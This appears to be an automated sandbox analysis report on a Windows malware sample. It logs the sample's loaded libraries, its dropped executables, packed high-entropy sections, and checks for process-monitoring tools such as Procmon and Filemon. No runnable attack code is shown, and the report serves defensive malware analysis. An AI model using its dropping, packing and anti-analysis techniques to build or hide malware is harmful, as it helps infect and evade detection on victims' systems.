Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winhttp.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: mswsock.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winnsi.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winhttp.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: mswsock.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: winnsi.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000115002\6b11689b40.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 4qIl08vrFY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 4qIl08vrFY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 4qIl08vrFY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 4qIl08vrFY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 4qIl08vrFY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 4qIl08vrFY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 4qIl08vrFY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 4qIl08vrFY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: 4qIl08vrFY.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 4qIl08vrFY.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 4qIl08vrFY.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 4qIl08vrFY.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 4qIl08vrFY.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\1000115002\6b11689b40.exe	Unpacked PE file: 5.2.6b11689b40.exe.be0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ipavvigs:EW;zxudawlj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ipavvigs:EW;zxudawlj:EW;.taggant:EW;
Source: C:\Users\user\1000115002\6b11689b40.exe	Unpacked PE file: 13.2.6b11689b40.exe.be0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ipavvigs:EW;zxudawlj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ipavvigs:EW;zxudawlj:EW;.taggant:EW;
Source: C:\Users\user\1000115002\6b11689b40.exe	Unpacked PE file: 14.2.6b11689b40.exe.be0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ipavvigs:EW;zxudawlj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ipavvigs:EW;zxudawlj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006CBF99 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006CBF99

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num[1].exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.3.dr	Static PE information: real checksum: 0x1d2063 should be: 0x1c9d43
Source: num.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 6b11689b40.exe.3.dr	Static PE information: real checksum: 0x1d2063 should be: 0x1c9d43
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x773ae
Source: 4qIl08vrFY.exe	Static PE information: real checksum: 0x0 should be: 0x773ae

Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .rsrc
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: ipavvigs
Source: random[1].exe.3.dr	Static PE information: section name: zxudawlj
Source: random[1].exe.3.dr	Static PE information: section name: .taggant
Source: 6b11689b40.exe.3.dr	Static PE information: section name:
Source: 6b11689b40.exe.3.dr	Static PE information: section name: .rsrc
Source: 6b11689b40.exe.3.dr	Static PE information: section name: .idata
Source: 6b11689b40.exe.3.dr	Static PE information: section name:
Source: 6b11689b40.exe.3.dr	Static PE information: section name: ipavvigs
Source: 6b11689b40.exe.3.dr	Static PE information: section name: zxudawlj
Source: 6b11689b40.exe.3.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006B1359 push es; ret	0_2_006B135A
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006BD91C push ecx; ret	0_2_006BD92F
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006BDFC6 push ecx; ret	0_2_006BDFD9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00151359 push es; ret	1_2_0015135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0015D91C push ecx; ret	1_2_0015D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0015DFC6 push ecx; ret	1_2_0015DFD9
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0006B035 push ecx; ret	4_2_0006B048

Source: random[1].exe.3.dr	Static PE information: section name: ipavvigs entropy: 7.953643928578973
Source: 6b11689b40.exe.3.dr	Static PE information: section name: ipavvigs entropy: 7.953643928578973

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\1000115002\6b11689b40.exe	Jump to dropped file
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: FilemonClass	Jump to behavior
